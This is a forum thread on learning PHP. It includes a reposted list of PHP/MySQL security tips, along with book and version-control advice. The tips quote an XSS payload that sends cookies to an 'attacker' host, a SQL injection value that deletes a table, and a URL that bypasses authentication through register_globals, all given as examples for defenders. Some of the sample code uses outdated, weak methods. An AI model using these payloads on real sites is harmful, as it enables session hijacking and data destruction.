Self Taught PHP?

It is possible if you have interest in programming. I learnt PHP/MySQL from books and internet.

Another great resource is the documentation on php.net. I usually reference it when I am writing php script.

Mark, I think you are my new warrior idol! Like I said I am trained in other languages-java, C, C++ and mark ups too, so on that basis it seems this is doable.

Nothing is impossible dear,dont think that you cant study php think that you can, hard work make perfect. So all the best.
---------------------
Jasmine

Guaranteed ROI

A friend of mine who has gone to college and has not yet graduated, learned a lot of his programming skills through the internet and some books. He is really into programming stuff. He is really so good, one of the best.

I met him again, after he went away for a few years. He was so happy to tell me that he is now connected with VPI and his position? Director, Programming Services. I am so happy and so proud of him.

Yes you can teach yourself PHP. Most of the people I know taught themselves PHP. For the web, it's practically the only thing you need. PHP.net is a good resource. They will also point you to installing XAMPPLite on your personal computer. It's an all-in-one install, it has Apache, MySQL, and a PHP server. I would also suggest that you try to load a PHP-based wiki so you can play around with the technology.

In terms of a book, try to get "PHP and MySQL by Example," in as much as you're veering towards PHP and a database.

Good luck.

You are correct Dan, just because you can learn things by yourself doesn't mean you shouldn't take formal education. Even though I learned PHP all by myself, I still have a degree in Computer Applications.

If you need a book, this is the one I absolutely recommend. It assumes you know a little HTML but no PHP, and goes all the way through building a content management system for a functional "jokes" website, tutorial style.

Build Your Own Database Driven Website Using PHP & MySQL

PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL

I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn't lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess. I also learnt this while working with software development company


1. Do not trust user input
If you are expecting an integer call intval() (or use cast) or if you don't expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

Here is an example:
PHP Code:
$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");


Now $post_id will be an integer for sure [IMG]file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/msohtml1/01/clip_image001.gif[/IMG]


2. Validate user input on the server side
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
JavaScript validation is only good to reduce the server load.


3. Do not use user input directly in your SQL queries
Use mysql_real_escape_string() to escape the user input.
PHP.net recommends this function: (well a little different)
PHP Code:
function escape($values) {
if(is_array($values)) {
$values = array_map(array(&$this, 'escape'), $values);
} else {
/* Quote if not integer */
if ( !is_numeric($values) || $values{0} == '0' ) {
$values = "'" .mysql_real_escape_string($values) . "'";
}
}
return $values;
}


Then you can use it like this:
PHP Code:
$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */



4. In your SQL queries don't put integers in quotes
For example $id is suppose to be an integer:
PHP Code:
$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // 0; DELETE FROM users - mysql_real_escape_string doesn't escape ;
mysql_query("SELECT * FROM users WHERE id='$id'");


Note that, using intval() would fix the problem here.


5. Always escape the output
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

[code]
<script>alert('');</script>
[code]

If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:
Code:
<script>document.location.replace('http://attacker/?c='+document.cookie);</script>
With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users' sessions and appear to be logged in as other users.

When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, 'UTF-8');


6. When uploading files, validate the file mime type
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

One quick way is to check the file extension:
PHP Code:
$valid_extensions = array('jpg', 'gif', 'png'); // ...

$file_name = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext = $_file_name[ count($_file_name) - 1 ];

if( !in_array($ext, $valid_extensions) ) {
/* This file is invalid */
}


Note that validating extension is a very simple way, and not the best way, to validate file uploads but it's effective;
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.


7. If you are using 3rd party code libraries, be sure to keep them up to date
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.


8. Give your database users just enough permissions
If a database user is never going to drop tables, then when creating that user don't give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.


9. Do not allow hosts other than localhost to connect to your database
If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.


10. Your library file extensions should be PHP
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding[IMG]file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/msohtml1/01/clip_image001.gif[/IMG]) and possibly find exploits or see your passwords etc.
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:
Code:
deny from all

11. Have register globals off or define your variables first
Register globals can be very dangerous, consider this bit of code:
PHP Code:
if( user_logged_in() ) {
$auth = true;
}

if( $auth ) {
/* Do some admin stuff */
}


Now with register globals on an attacker can view this page like this and bypass your authentication:
http://yourwebsite.com/admin.php?auth=1

If you have registered globals on and you can't turn it off for some reason you can fix these issues by defining your variables first:
PHP Code:
$auth = false;
if( user_logged_in() ) {
$auth = true;
}

if( $auth ) {
/* Do some admin stuff */
}


Defining your variables first is a good programming practice that I suggest you follow anyway.



12. Keep PHP itself up to date
Just take a look at www.php.net and see release announcements and note how many security issues they fix on every release to understand why this is important.


13. Read security books
Always find new books about PHP security to read; you can start by reading the 4th book in the PHP Thread, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.


14. Contribute to this list
Feel free to reply to this thread and add to this list, it will be helpful for everyone!

Web application development

If you are going to do programming... please, please, please ... be sure to add "version control" as one of the pieces that you need to add to your skillset.

It will make your life sooooo much easier.

I have done R&D Software Development for Silicon Valley Companies (Apple, Sun, OpenTV, Frame (now part of Adobe) -- etc.)

EVERY ONE of them uses version control.

It's not just for multi-person projects (though if there's more than one person involved, it's nearly absolutely necessary.)

You can use subversion (it's free, and there are free subversion clients.)

And the time to do it is when you are starting a project.

The other piece of software I know that Don (zerofill) likes (so he'll have to give you the link) is a snippet library software -- also free (found somewhere on sourceforge.)

A few years back I worked with the programmers of a VERY WELL KNOWN IMer -- and they kept fixing bugs and having the bugs "return" into the released code. Version control (properly used) prevents this from happening.

Among other things, you can "label" releases of your code -- and, if you should need to, you can re-create them.

Or create branches.

Essential stuff for professional software development (imnsho).

Live JoyFully!

Judy Kettenhofen, Profit Strategist/Copywriter
NextDay Copy
(you should look at some of notes in my profile here on the WF)